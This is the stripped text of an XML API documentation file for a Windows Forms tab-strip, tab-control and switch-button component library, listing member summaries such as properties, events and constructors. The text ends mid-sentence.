OnSelectedTabRemoved + + + + + + + OnSelectedTabChanging + + + + + + + + OnSelectedTabChanged + + + + + + + + OnBeforeTabDisplay + + + + + + OnTabItemClose + + + + + + + OnTabStripColorChanged + + + + + OnPaintBackground + + + + + + + OnGetTextBounds + + + + + + + + OnGetImageBounds + + + + + + + + OnGetCloseBounds + + + + + + + + OnTabMoving + + + + + + + + + OnTabMoved + + Tab that was moved + Old tab order + New tab order + + + + + ItemAtLocation + + + + + + + + InternalClick + + + + + + + InternalMouseDown + + + + + + InternalMouseUp + + + + + + InternalMouseMove + + + + + + InternalOnMouseMove + + + + + + ProcessMouseMove + + + + + + HotTabMouseMove + + + + + + + ControlBoxMouseMove + + + + + + ProcessTabMove + + + + + + StartTabMove + + + + + + + SetDragWindowRegion + + + + + TabDragWindow_Paint + + + + + + + InternalMouseLeave + + + + + InternalOnMouseLeave + + + + + Get the tab at the given Point + + + SuperTabItem or null + + + + Gets the item at the given point + + + BaseItem or null + + + + Gets the next visible Tab + + + SuperTabItem + + + + Closes the given tab + + + + + + Paint processing + + + + + + SubItemSizeChanged + + + + + + Returns copy of the item. + + + + + Copies specific properties to new instance of the item. + + New SuperTabStripItem instance + + + + Occurs when a tab is added to the Tabs collection + + + + + Occurs when a tab is about to Close + + + + + Occurs when a tab is removed from the Tabs collection + + + + + Occurs when a tab is about to be displayed + + + + + Occurs when a tab is being moved or dragged by the user + + + + + Occurs when a tab has been moved or dragged by the user + + + + + Occurs when the Selected tab is changing + + + + + Occurs when the Selected tab has changed + + + + + Occurs when the control needs a tab's bordering path + + + + + Occurs when the control needs a tab's Content Rectangle + + + + + Occurs when the control needs to measure a tab + + + + + Occurs before any tab rendering is done + + + + + Occurs After all tab rendering is complete + + + + + Occurs when the control needs to get the tab's Text Bounds + + + + + Occurs when the control needs to get the tab's Image Bounds + + + + + Occurs when the control needs to get the tab's Close Button Bounds + + + + + Occurs when the TabStrip background needs painted + + + + + Occurs when the TabStrip TabColor has changed + + + + + Occurs when the TabStrip Color has changed + + + + + Gets or sets AutoCloseTabs + + + + + Gets or sets whether the control attached to the TabItem.AttachedControl property + is automatically selected when TabItem becomes the selected tab. Default value is true. + + + + + Gets or sets TabCloseButtonNormal + + + + + Gets or sets TabCloseButtonHot + + + + + Gets or sets TabCloseButtonPressed + + + + + Gets or sets TabHorizontalSpacing + + + + + Gets or sets TabVerticalSpacing + + + + + Gets or sets CloseButtonOnTabsVisible + + + + + Gets or sets CloseButtonOnTabsAlwaysDisplayed + + + + + Gets or sets CloseButtonPosition + + + + + Gets the ControlBox + + + + + Gets or sets DisplaySelectedTextOnly + + + + + Gets or set the Expanded state + + + + + Gets or sets the tab font + + + + + Gets or sets the selected tab font + + + + + Gets or sets the HorizontalText + + + + + Gets or sets the default alignment of the Image within the tab + + + + + Gets or sets the BaseItem tab padding. + + + + + Gets or sets RotateVerticalText + + + + + Gets or sets ShowFocusRectangle + + + + + Gets or sets the FixedTabSize + + + + + Gets or sets + + + + + Gets the MinTabStripHeight + + + + + Gets or sets ReorderTabsEnabled + + + + + Gets or sets the selected tab + + + + + Gets or sets the selected tab index + + + + + Gets or sets the tab alignment + + + + + Gets or sets the TabLayoutType + + + + + Gets or sets the TabStripColor + + + + + Gets or sets the TabStyle + + + + + Gets or sets the TextAlignment + + + + + Gets the First Visible Tab + + + + + Gets the HotTab + + + + + Gets the InsertTab + + + + + Gets whether to insert before or after + + + + + Gets the MouseOver tab + + + + + Gets TabStrip vertical orientation + + + + + Gets the Last Visible Tab + + + + + Gets the tab close button size + + + + + Gets the TabDisplay + + + + + Gets or sets the TabItemsBounds + + + + + Gets or sets the number of TabLines + + + + + Gets the TabStrip + + + + + Gets the visible tab count + + + + + Gets or sets the promoted visible tab + + + + + Generic ValueChangingEventArgs + + oldValue type + newValue type + + + + Gets the old value + + + + + Gets the new value + + + + + Generic ValueChangingSourceEventArgs + + oldValue type + newValue type + EventSource + + + + Gets the old value + + + + + Gets the new value + + + + + Gets the eventSource + + + + + Generic ValueChangedEventArgs + + oldValue type + newValue type + + + + Gets the old value + + + + + Gets the new value + + + + + Generic ValueChangedSourceEventArgs + + oldValue type + newValue type + EventSource + + + + Gets the old value + + + + + Gets the new value + + + + + Gets the eventSource + + + + + Gets the tab + + + + + Gets the tab + + + + + Gets the old order of the tabs + + + + + Gets or sets the new order of the tabs + + + + + TabStripTabColorChangedEventArgs + + + + + Constructor + + + + + Constructor + + Associated SuperTabStripItem + + + + Resizes the content block and sets it's Bounds property to reflect new size. + + Content block to resize. + + + + + Measures the given tab + + + + + + + Measures the markup text + + + + + + + + + Measures the given text + + + + + + + + + Finalizes the layout + + + + + + + + + Reorders the lines to keep the selected tab as line 0. + + + + + + + Adjusts the line layout + + + + + + + Gets the array od line sizes + + + + + + + Adjusts the individual blocks within a given line + + + + + + + Sets the Displayed status for the line blocks + + + + + + + Gets the count of BeginBreak groups + + + + + + + + Process item BeginBreaks + + + + + + + + + Makes sure the "VisibleTab" is in fact visible. + + + + + + + Determines what line th selected tab lies within + + + + + + + Finds the SelectedTab block + + + + + + + Resizes single line layouts + + + + + + Resizes multiline layouts + + + + + + gets or sets the FixedTabSize + + + + + Gets or sets the TabLayoutOffset + + + + + Gets the TabDisplay + + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + Applies the predefined tab color to the color table + + + + + + + Applies the predefined color to the panel color table + + + + + + Constructor + + Associated SuperTabStripItem + + + + Gets the TabLayoutOffset + + + + + Constructor + + Associated SuperTabItem + + + + Returns the tab ContentRectangle + + + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + Constructor + + Associated SuperTabStripItem + + + + Gets the LayoutManager NextBlockPosition + + + + + + Gets the PromoteSelectedTab NextBlockPosition + + + + + + + + Gets the TabOverlap + + + + + Gets the TabSpacing + + + + + Gets the TabOverlapLeft + + + + + Gets the TabLayoutOffset + + + + + Gets the MinTabSize + + + + + Constructor + + Associated SuperTabItem + + + + Creates the tab item GraphicsPath + + Tab path + + + + Create the Top tab path + + GraphicsPath + + + + Creates the Bottom tab path + + GraphicsPath + + + + Creates the Left tab path + + GraphicsPath + + + + Create the Right tab path + + GraphicsPath + + + + Constructor + + Associated SuperTabStripItem + + + + Gets the Layout manager NextBlockPosition + + + + + + Gets the "PromoteSelTab" NextBlockPosition + + + + + + + + Raises ValueChanging event. + + Provides event arguments. + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Forces the button to perform internal layout. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Cancels animation if in progress. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Sets the value of the control with state transition animation (if enabled) and specifies the source of the action. + + New value for Value property. + Source of the action. + + + + Sets the value of the control and specifies the source of the action. + + New value for Value property. + Source of the action. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Raises ValueObjectChanged event. + + Provides event arguments. + + + + Called when Command property value changes. + + + + + Occurs before Value property has changed and it allows you to cancel the change. + + + + + Occurs after Value property has changed. + + + + + Gets or sets the switch value. + + + + + Gets or sets the item border color. + + + + + Gets or sets whether state transition animation is enabled. + + + + + Gets or sets the color of the OFF state background. + + + + + Gets or sets the color of the ON state background. + + + + + Gets or sets the color of the ON state text. + + + + + Gets or sets the color of the OFF state text. + + + + + Gets or sets the border color of the button switch. + + + + + Gets or sets the background color of the switch button. + + + + + Gets or sets the text color. + + + + + Gets or sets the font that is used to draw ON/OFF text on the switch button. + + + + + Gets or sets the text that is displayed on switch when Value property is set to true. + + + + + Gets or sets the text that is displayed on switch when Value property is set to false. + + + + + Gets or sets the width in pixels of the switch part of the button. Minimum value is 6. + + + + + Gets the switch bounds. + + + + + Gets the On part of the switch button bounds excluding the SwitchBounds. + + + + + Gets the Off part of the switch button bounds excluding the SwitchBounds. + + + + + Gets or sets whether button is in read-only state meaning that it appears as enabled but user cannot change its state. + + + + + Gets or sets whether lock marker is visible on face of the control when IsReadOnly is set to true. + Default value is true. + + + + + Gets or sets the color of the read-only marker. + + + + + Indicates whether clicking left mouse button on the switch part of the item will toggle the switch Value. + + + + + Occurs after ValueObject property changes. + + + + + Gets or sets the object that represents the Value state of control. + + + + + Gets or sets the value that represents the True state of control when ValueObject property is set to that value. + + + + + Gets or sets the value that represents the False state of control when ValueObject property is set to that value. + + + + + Gets or sets the command assigned to the item. Default value is null. + Note that if this property is set to null Enabled property will be set to false automatically to disable the item. + + + + + Gets or sets user defined data value that can be passed to the command when it is executed. + + + + + Represents the switch button UI element. + + + + + Raises ValueChanging event. + + Provides event arguments. + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Creates new instance of SwitchButtonItem. + + + + + Creates new instance of SwitchButtonItem and assigns the name to it. + + Item name. + + + + Creates new instance of SwitchButtonItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the SwitchButtonItem specific properties to new instance of the item. + + New SwitchButtonItem instance. + + + + Copies the SwitchButtonItem specific properties to new instance of the item. + + New SwitchButtonItem instance. + + + + Sets the value of the control and specifies the source of the action. + + New value for Value property. + Source of the action. + + + + Sets the value of the control with state transition animation (if enabled) and specifies the source of the action. + + New value for Value property. + Source of the action. + + + + Cancels any current inprogress animation. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs before Value property has changed and it allows you to cancel the change. + + + + + Occurs after Value property has changed. + + + + + Gets whether item supports text markup. Default is false. + + + + + Gets or sets whether text-markup support is enabled for items Text property. Default value is true. + Set this property to false to display HTML or other markup in the item instead of it being parsed as text-markup. + + + + + Gets or sets the text associated with this item. + + + + + Gets or sets the switch value. + + + + + Indicates whether clicking left mouse button on the switch part of the item will toggle the switch Value. + + + + + Gets the switch bounds. + + + + + Gets the button bounds. + + + + + Gets the On part of the switch button bounds excluding the SwitchBounds. + + + + + Gets the Off part of the switch button bounds excluding the SwitchBounds. + + + + + Gets or sets the switch offset from its initial position. Used for animation and dragging of the switch. + + + + + Gets whether switch part of the button is pressed using mouse left button. + + + + + Gets or sets the width in pixels of the switch part of the button. Minimum value is 6. + + + + + Gets or sets the text that is displayed on switch when Value property is set to true. + + + + + Gets or sets the text that is displayed on switch when Value property is set to false. + + + + + Gets whether fade effect is enabled. + + + + + Gets or sets whether state transition animation is enabled. + + + + + Gets or sets the width of the switch button. Must be greater than SwitchWidth. + + + + + Gets or sets the height of the switch button. Must be greater than 5. + + + + + Gets or sets text padding. + + + + + Gets or sets switch margin. + + + + + Gets or sets the color of the OFF state background. + + + + + Gets or sets the color of the ON state background. + + + + + Gets or sets the color of the ON state text. + + + + + Gets or sets the color of the OFF state text. + + + + + Gets or sets the item border color. + + + + + Gets or sets the border color of the button switch. + + + + + Gets or sets the background color of the switch button. + + + + + Gets or sets whether caption/label set using Text property is visible. + + + + + Gets or sets the text color. + + + + + Gets or sets the font that is used to draw ON/OFF text on the switch button. + + + + + Gets or sets whether button is in read-only state meaning that it appears as enabled but user cannot change its state. + + + + + Gets or sets whether lock marker is visible on face of the control when IsReadOnly is set to true. + Default value is true. + + + + + Gets or sets the color of the read-only marker. + + + + + Provides data for SwitchButton rendering. + + + + + Gets or sets Graphics object group is rendered on. + + + + + Gets or sets the reference to SwitchButtonItem being rendered. + + + + + ColorScheme object that is used to provide colors for rendering check box item in legacy styles like Office 2003. Office 2007 style + uses color tables provided by renderer. + + + + + Indicates whether item is in Right-To-Left environment. + + + + + Gets or sets the text font. + + + + + Gets or sets the ItemPaintArgs reference. + + + + + Creates new instance of the object and provides default values. + + Reference to Graphics object + Reference to SwitchButtonItem + Reference to legacy ColorScheme + Indicates the font for the text. + Indicates whether item is in Right-To-Left environment. + + + + Returns specific font set at specified size/ + + Font size + Symbol set to return + Font + + + + Returns FontAwesome at specific size. + + Font size in points + Font in desired size. + + + + Returns FontAwesome at specific size. + + Font size in points + Font in desired size. + + + + Gets FontAwesome at default size. + + + + + Returns FontAwesome Family. + + + + + Gets Material Font at default size. + + + + + Returns Material Font Family. + + + + + Gets the default size for the Material font size in points. + + + + + Gets the default size for the FontAwesome font size in points. + + + + + Represents colors for the active tab. + + + + + Creates new instance of the object. + + + + + Returns whether property should be serialized. + + true if property should be serialized otherwise false. + + + + Resets property to the default value. + + + + + Returns whether property should be serialized. + + true if property should be serialized otherwise false. + + + + Resets property to the default value. + + + + + Returns whether property should be serialized. + + true if property should be serialized otherwise false. + + + + Resets property to the default value. + + + + + Returns whether property should be serialized. + + true if property should be serialized otherwise false. + + + + Resets property to the default value. + + + + + Returns whether property should be serialized. + + true if property should be serialized otherwise false. + + + + Resets property to the default value. + + + + + Returns whether property should be serialized. + + true if property should be serialized otherwise false. + + + + Resets property to the default value. + + + + + Occurs after color property has changed. + + + + + Gets or sets the background color of the tab when inactive. + + + + + Gets or sets the target gradient background color of the tab when inactive. + + + + + Gets or sets the gradient angle. + + + + + Gets the collection that defines the multi-color gradient background for tab item.. + + + + + Gets or sets the light border color when tab is inactive. + + + + + Gets or sets the dark border color when tab is inactive. + + + + + Gets or sets the border color when tab is inactive. + + + + + Gets or sets the text color when tab is inactive. + + + + + Represents the class that defines colors for a tab control. + + + + + Default constructor. + + + + + Default contructor that accepts style. + + + + + Refreshes colors stored in the color scheme. This method is used for example to refresh the color after system display colors have changed. + + + + + Generates color scheme for flat style. + + + + + Generates color scheme for Office 2003 style. + + + + + Generates the VS2005 document tab like color scheme. + + + + + Generates Windows XP Themed color scheme. + + + + + Generates OneNote style color scheme. + + + + + Generates VS2005 style color scheme. + + + + + Generates OneNote style color scheme. + + + + + Generates OneNote style color scheme. + + + + + Resets changed flag for all color properties. When changed flag is set for a color property color is not automatically generated for that property. + Reseting the flag will ensure that all colors are automatically generated. + + + + + Applies predefinied tab item color scheme to the tab. + + Tab item to apply color to. + Predefined color to apply + + + + Applies predefinied tab item color scheme to the tab. + + Tab item to apply color to. + Predefined color to apply + + + + Gets or sets the style that color scheme represents. + + + + + Gets or sets whether themed color scheme is generated. + + + + + Indicates whether any of the colors has changed. + + + + + Gets or sets the tab-strip background image. + + + + + Specifies the background color of the tab control. + + + + + Specifies the target gradient background color of the tab control. + + + + + Specifies the gradient angle. + + + + + Specifies the border color of the tab control. + + + + + Specifies the background color of the tab panel. + + + + + Specifies the target gradient background color of the tab panel. + + + + + Specifies the gradient angle. + + + + + Specifies the border color of the tab panel. + + + + + Specifies the border color of the tab item. + + + + + Specifies the light border color of the tab item. + + + + + Specifies the dark border color of the tab item. + + + + + Specifies the background color of the tab item. + + + + + Specifies the target gradient background color of the tab item. + + + + + Specifies the gradient angle. + + + + + Gets the collection that defines the multi-color gradient background for tab item.. + + + + + Specifies the text of the tab item. + + + + + Specifies the border color of the tab item when mouse is over it. + + + + + Specifies the light border color of the tab item when mouse is over it. + + + + + Specifies the dark border color of the tab item when mouse is over it. + + + + + Specifies the background color of the tab item when mouse is over it. + + + + + Specifies the target gradient background color of the tab item when mouse is over it. + + + + + Specifies the gradient angle. + + + + + Gets the collection that defines the multi-color gradient background for tab item.. + + + + + Specifies the text color of the tab item when mouse is over it. + + + + + Specifies the border color of the tab item when selected. + + + + + Specifies the light border color of the tab item when selected. + + + + + Specifies the dark border color of the tab item when selected. + + + + + Specifies the background color of the tab item when selected. + + + + + Specifies the target gradient background color of the tab item when selected. + + + + + Specifies the gradient angle. + + + + + Gets the collection that defines the multi-color gradient background for tab item.. + + + + + Specifies the text color of the tab item when selected. + + + + + Specifies the tab item separator color. + + + + + Specifies the tab item separator shadow color. + + + + + Specifies the text of the tab item. + + + + + Summary description for TabControl. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Gets whether property should be serialized. Used by Windows Forms designer. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Applies default tab colors to the panel + + Panel to apply colors to. + + + + Resumes normal layout logic. Optionally forces an immediate layout of pending layout requests. + + + + + Resizes the portion of the control that holds the tabs. + + + + + Creates new tab and tab panel and adds it to the Tabs collection. + + Tab text. + Reference to newly created TabItem. + + + + Creates new tab and tab panel and inserts it at specified position inside of Tabs collection. + + Tab text. + Index to insert newly created tab at. -1 will append tab to the end of Tabs collection. + Reference to newly created TabItem. + + + + Selects previous visible tab. Returns true if previous tab was found for selection. + + + + + Selects next visible tab. Returns true if next tab was found for selection. + + + + + Resets color scheme to default value. + + + + + Memeber used by Windows Forms designer. + + true if property should be serialized. + + + + Memeber used by Windows Forms designer to reset property to default value. + + + + + Occurs when selected tab changes. + + + + + Occurs before selected tab changes and gives you opportunity to cancel the change. + + + + + Occurs when tab is dragged by user. + + + + + Occurs when the user navigates back using the back arrow. + + + + + Occurs when the user navigates forward using the forward arrow. + + + + + Occurs when tab item is closing. + + + + + Occurs when tab item is added to the tabs collection. + + + + + Occurs before control or item attached to the tab is displayed. + + + + + Occurs after tab item has been removed from tabs collection. + + + + + Gets or sets the background color. + + + + + Gets the collection of all tabs. + + + + + Gets or sets whether tabs are visible. Default value is true. + + + + + Returns reference to internal tab strip control. + + + + + Gets or sets whether TabStrip will get focus when Tab key is used. Default value is false. + + + + + Use TabControlPanel.Style property to set the background image for each tab panel. + + + + + Gets or sets whether pressing Ctrl+Tab keys will cycle through the selected tabs. Default value is true. + + + + + Gets or sets whether tabs use anti-alias smoothing when painted. Default value is false. + + + + + Gets or sets whether the tab scrolling is animated. + + + + + Gets or sets whether system box that enables scrolling and closing of the tabs is automatically hidden when tab items size does not exceed the size of the control. + + + + + Specifes whether end-user can reorder the tabs. + + + + + Gets or sets whether tab is automatically closed when close button is clicked. Closing the tab will remove tab being closed from Tabs collection + and it will remove the panel as well. Default value is false which means that tab will not be closed and you should handle TabClose event to + perform desired action as result of user closing the tab. + + + + + Gets or sets whether the Close button that closes the active tab is visible on system box. + + + + + Gets or sets whether close button is visible on each tab instead of in system box. + + + + + Gets or sets whether close button on tabs when visible is displayed for every tab state. Default value is true. When set to false + the close button will be displayed only for selected and tab that mouse is currently over. + + + + + Gets or sets the position of the close button displayed on each tab. Default value is Left. + + + + + Gets or sets custom image that is used on tabs as Close button that allows user to close the tab. + Use TabCloseButtonHot property to specify image that is used when mouse is over the close button. Note that image size must + be same for both images. + Default value is null + which means that internal representation of close button is used. + + + + + Gets or sets custom image that is used on tabs as Close button whem mouse is over the close button. + To use this property you must set TabCloseButtonNormal as well. Note that image size for both images must be same. + Default value is null which means that internal representation of close button is used. + + + + + Gets or sets whether only selected tab is displaying it's text. + + + + + Gets or sets the image list used by tab items. + + + + + Gets or sets scrolling offset of the first tab. You can use this property to programmatically scroll the tab strip. + + + + + Gets or sets Tab Control style. Theme style is supported only on themed OS and only for bottom or top aligned tabs. + + + + + Specifies whether tab is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets or sets whether tabs are scrolled continuously while mouse is pressed over the scroll tab button. + + + + + Gets or sets the auto-repeat interval for the tab scrolling while mouse button is kept pressed over the scroll tab button. + + + + + Gets or sets Tab Color Scheme. + + + + + Gets or sets the tab alignment within the Tab-Strip control. + + + + + Gets or sets the selected tab. + + + + + Gets or sets the selected tab Font + + + + + Gets or sets whether focus rectangle is displayed on the tab when tab has input focus. + + + + + Gets or sets whether keyboard navigation using Left and Right arrow keys to select tabs is enabled. Default value is true. + + + + + Gets or sets the index of the selected tab. + + + + + Gets or sets selected tab panel. + + + + + Gets or sets the type of the tab layout. + + + + + Indicates whether selected tab is aligned with the panel in multiple lines use case. + + + + + Gets or sets the fixed tab size in pixels. Either Height or Width can be set or both. + Value of 0 indicates that size is automatically calculated which is + default behavior. + + + + + Represents Panel for the Tab Control. + + + + + Default constructor. + + + + + Gets or sets TabItem that this panel is attached to. + + + + + Indicates whether style of the panel is managed by tab control automatically. + Set this to true if you would like to control style of the panel. + + + + + Gets or sets which edge of the parent container a control is docked to. + + + + + Represents the Tab on the Tab-Strip control. + + + + + Default constructor. + + Container object. + + + + Default constructor. + + + + + Returns the font for the tab text. + + Reference to the font object. + + + + Raises the Click event. + + + + + Occurs when mouse is pressed over the tab item. + + + + + Occurs when mouse button is released over the tab item. + + + + + Occurs when mouse hovers over the tab item. + + + + + Occurs when mouse enters the tab item. + + + + + Occurs when mouse leaves the tab item. + + + + + Occurs when mouse moves over the tab item. + + + + + Occurs when mouse click is performed on the tab item. + + + + + Gets the AccessibleObject assigned to the item. + + + + + Gets or sets the tab Image index. + + + + + Gets or sets the tab image. + + + + + Gets or sets the tab icon. Icon has same functionality as Image except that it support Alpha blending. + + + + + Gets or sets the text displayed on the tab. + + + + + Gets or sets whether tab is visible. + + + + + Gets the display bounds of the tab. + + + + + Gets or sets the bounds of the close button rectangle if displayed on the tab. You should not set value of this property. + + + + + Gets or sets the control that is attached to this tab. When tab is selected the control Visible property is set to true and when tab is unselected the control Visible property is set to false. + + + + + Gets or sets the background color of the tab when inactive. + + + + + Gets or sets the target gradient background color of the tab when inactive. + + + + + Gets or sets the gradient angle. + + + + + Gets or sets the light border color when tab is inactive. + + + + + Gets or sets the dark border color when tab is inactive. + + + + + Gets or sets the border color when tab is inactive. + + + + + Gets or sets the text color when tab is inactive. + + + + + Gets or sets name of the tab item that can be used to identify item from the code. + + + + + Gets or sets the predefined tab color. + + + + + Gets or sets an object that contains data to associate with the item. + + + + + Gets/Sets informational text (tooltip) for the tab. + + + + + Returns true if tab is selected tab. + + + + + Gets the tab alignment. + + + + + Returns true if mouse is over the tab. + + + + + Gets or sets whether Close button on the tab is visible when TabStrip.CloseButtonOnTabsVisible property is set to true. Default value is true. You can use this property + to selectively hide Close button on tabs. + + + + + Gets or sets the bounds of the content block. + + + + + Gets or sets item margin only used by certain items in certain containers. Provided only for internal DotNetBar use. + + + + + Summary description for TabItemLayoutManager. + + + + + Resizes the content block and sets it's Bounds property to reflect new size. + + Content block to resize. + + + + Gets or sets the padding in pixels for the measured text. Default is 4. + + + + + Gets or sets the padding in pixels for the measured image size. Default is 4. + + + + + Gets or sets the padding in pixels that is added to the measured height of the tab. Default is 4. + + + + + Gets or sets the padding in pixels that is added to the measured width of the tab. Default is 0. + + + + + Gets or sets whether text is always layed out horizontaly even if tabs are vertically aligned. + + + + + Gets or sets the additional padding for the selected item. + + + + + Gets or sets the fixed tab size in pixels. Either member can be set. Value of 0 indicates that size is automatically calculated which is + default behavior. + + + + + Summary description for TabsCollection. + + + + + Get the TabItem with given name. Name comparison is case insensitive. + + + + + + + Represents Tab-Strip control. + + + + + Raises TabMouseEnter event. + + Provides event arguments. + + + + Raises TabMouseLeave event. + + Provides event arguments. + + + + Raises TabMouseMove event. + + Provides event arguments. + + + + Raises TabMouseClick event. + + Provides event arguments. + + + + Raises TabMouseHover event. + + Provides event arguments. + + + + Default constructor. + + + + + Returns the bounds of the tab system box if one is available in current tab style. + + Rectangle describing the system box bounds. + + + + Recalculates the size of the tabs. + + + + + Selectes previous visible tab. Returns true if previous tab was found for selection. + + + + + Selectes next visible tab. Returns true if next tab was found for selection. + + + + + Invokes the TabCleared event. + + Provides events arguments + + + + Ensures that the tab is visible, scrolling the tab-strip view as necessary. + + Tab to make visible. + + + + Clean up any resources being used. + + + + + Called by StyleManager to notify control that style on manager has changed and that control should refresh its appearance if + its style is controlled by StyleManager. + + New active style. + + + + Refreshes the color scheme with the colors from system color table. + + + + + Resets color scheme to default value. + + + + + Memeber used by Windows Forms designer. + + true if property should be serialized. + + + + Memeber used by Windows Forms designer to reset property to default value. + + + + + Returns tab item that contains specified coordinates. + + X - coordinate to hit test + Y - coordinate to hit test + + + + + Hides tooltip for a tab is one is displayed. + + + + + Shows tooltip for given tab. + + + + + Resets Hoover timer. + + + + + Occurs after selected tab has changed. + + + + + Occurs before selected tab changes and gives you opportunity to cancel the change. + + + + + Occurs when tab is dragged by user. + + + + + Occurs when the user navigates back using the back arrow. + + + + + Occurs when the user navigates forward using the forward arrow. + + + + + Occurs when tab item is closing. + + + + + Occurs when tab item is added to the tabs collection. + + + + + Occurs before control or item attached to the tab is displayed. + + + + + Occurs after tab item has been removed from tabs collection. + + + + + Occurs after Tabs collection has been cleared. + + + + + Occurs after the tab item size has been determined and allows you to apply your custom size to the TabItem. + + + + + Occurs before tab is rendered and allows you to cancel default tab rendering performed by the control. + + + + + Occurs after tab is rendered and allows you to render on top of the default rendering performed by the control. + + + + + Occurs when mouse enters a tab. + + + + + Occurs when mouse leaves a tab. + + + + + Occurs when mouse moves over the tab. + + + + + Occurs when mouse clicks the tab. + + + + + Occurs when mouse hovers over the tab. + + + + + Gets or sets whether anti-alias smoothing is used while painting. Default value is false. + + + + + Returns minimum tab strip height given the style and the tabs it contains. + + + + + Returns the rectangle that contains all the tabs. + + + + + Gets or sets the index of currently selected tab. + + + + + Gets or sets the selected tab. + + + + + Gets or sets whether tabs are scrolled continuously while mouse is pressed over the scroll tab button. + + + + + Gets or sets the auto-repeat interval for the tab scrolling while mouse button is kept pressed over the scroll tab button. + + + + + Gets or sets whether the Close button that closes the active tab is visible. + + + + + Gets or sets whether close button is visible on each tab instead of in system box. + + + + + Gets or sets whether close button on tabs when visible is displayed for every tab state. Default value is true. When set to false + the close button will be displayed only for selected and tab that mouse is currently over. + + + + + Gets or sets the position of the close button displayed on each tab. Default value is Left. + + + + + Gets or sets custom image that is used on tabs as Close button that allows user to close the tab. + Use TabCloseButtonHot property to specify image that is used when mouse is over the close button. Note that image size must + be same for both images. + Default value is null + which means that internal representation of close button is used. + + + + + Gets or sets custom image that is used on tabs as Close button whem mouse is over the close button. + To use this property you must set TabCloseButtonNormal as well. Note that image size for both images must be same. + Default value is null which means that internal representation of close button is used. + + + + + Gets the collection of all tabs. + + + + + Gets or sets whether control attached to the TabItem.AttachedControl property is automatically selected when TabItem becomes selected tab. Default value is true. + + + + + Gets or sets the image list used by tab items. + + + + + Indicates whether selected tab is aligned with the panel in multiple lines use case. + + + + + Gets or sets the type of the tab layout. + + + + + Gets or sets whether tab size is adjusted to fit the available control size. + + + + + Gets or sets scrolling offset of the first tab. You can use this property to programmatically scroll the tab strip. + + + + + Gets or sets whether keyboard navigation using Left and Right arrow keys to select tabs is enabled. Default value is true. + + + + + Gets or sets the mouse cursor that is displayed when tab is dragged. + + + + + Returns tab mouse is over or null if mouse is not over the tab. + + + + + Gets or sets the selected tab Font + + + + + Gets or sets the tab alignment within the Tab-Strip control. + + + + + Specifes whether end-user can reorder the tabs. + + + + + Gets or sets whether system box that enables scrolling and closing of the tabs is automatically hidden when tab items size does not exceed the size of the control. + + + + + Gets or sets the background color. + + + + + Gets or sets whether only selected tab is displaying it's text. + + + + + Gets or sets TabStrip style. Theme style is supported only on themed OS and only for bottom or top aligned tabs. + + + + + Specifies whether tab is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets whether control should be represented in themed style. + + + + + Gets or sets Tab Color Scheme. + + + + + Gets or sets whether the tab scrolling is animanted. + + + + + Gets or sets the fixed tab size in pixels. Either Height or Width can be set or both. + Value of 0 indicates that size is automatically calculated which is + default behavior. + + + + + Gets or sets whether focus rectangle is displayed when tab has input focus. + + + + + Gets or sets whether Tab-Strip control provides Tabbed MDI Child form support. Default value is false. + + + + + Gets or sets the maximum number of characters that will be used as Tab text from Mdi Child caption. + + + + + Gets or sets whether the Mdi Child Icon is displayed on Tab. + + + + + Gets or sets whether the Tab-strip is automatically hidden when there are not Mdi Child forms open. + + + + + Gets or sets whether flicker associated with switching maximized Mdi child forms is attempted to eliminate. You should set this property to false if you encounter any painting problems with your Mdi child forms. + + + + + Gets or sets Mdi Container form for which Tab-Strip is providing Tabbed MDI Child support. + + + + + Event delegate for SelectedTabChanged event. + + + + + Event delegate for SelectedTabChanging event. + + + + + Event delegate for TabMoved event + + + + + Event delegate for NavigateBack, NavigateForward and TabItemClose events. + + + + + Represents the event arguments for tab selection events. + + + + + Currently selected tab. + + + + + Tab being selected. + + + + + Specifies the action that caused the event. + + + + + Default constructor. + + Currently selected tab. + New selection. + + + + Represents the event arguments for tab selection events. + + + + + Currently selected tab. + + + + + Tab being selected. + + + + + Cancels the selection operation. + + + + + Specifies the action that caused the event. + + + + + Default constructor. + + Currently selected tab. + New selection. + + + + Represents the event arguments for tab moving events. + + + + + Tab being moved. + + + + + Moved from index. + + + + + Moving to index. + + + + + Cancels the operation. + + + + + Default Constructor + + Tab + Old Index + New Index + + + + Represents the event arguments for action events. + + + + + Cancels the operation. + + + + + Reference to relevant TabItem, if any, otherwise null/nothing. + + + + + Default Constructor. + + + + + Destroys tooltip window. + + + + + Specifies the tab alignment inside the Tab-Strip control. + + + + + Tabs are left 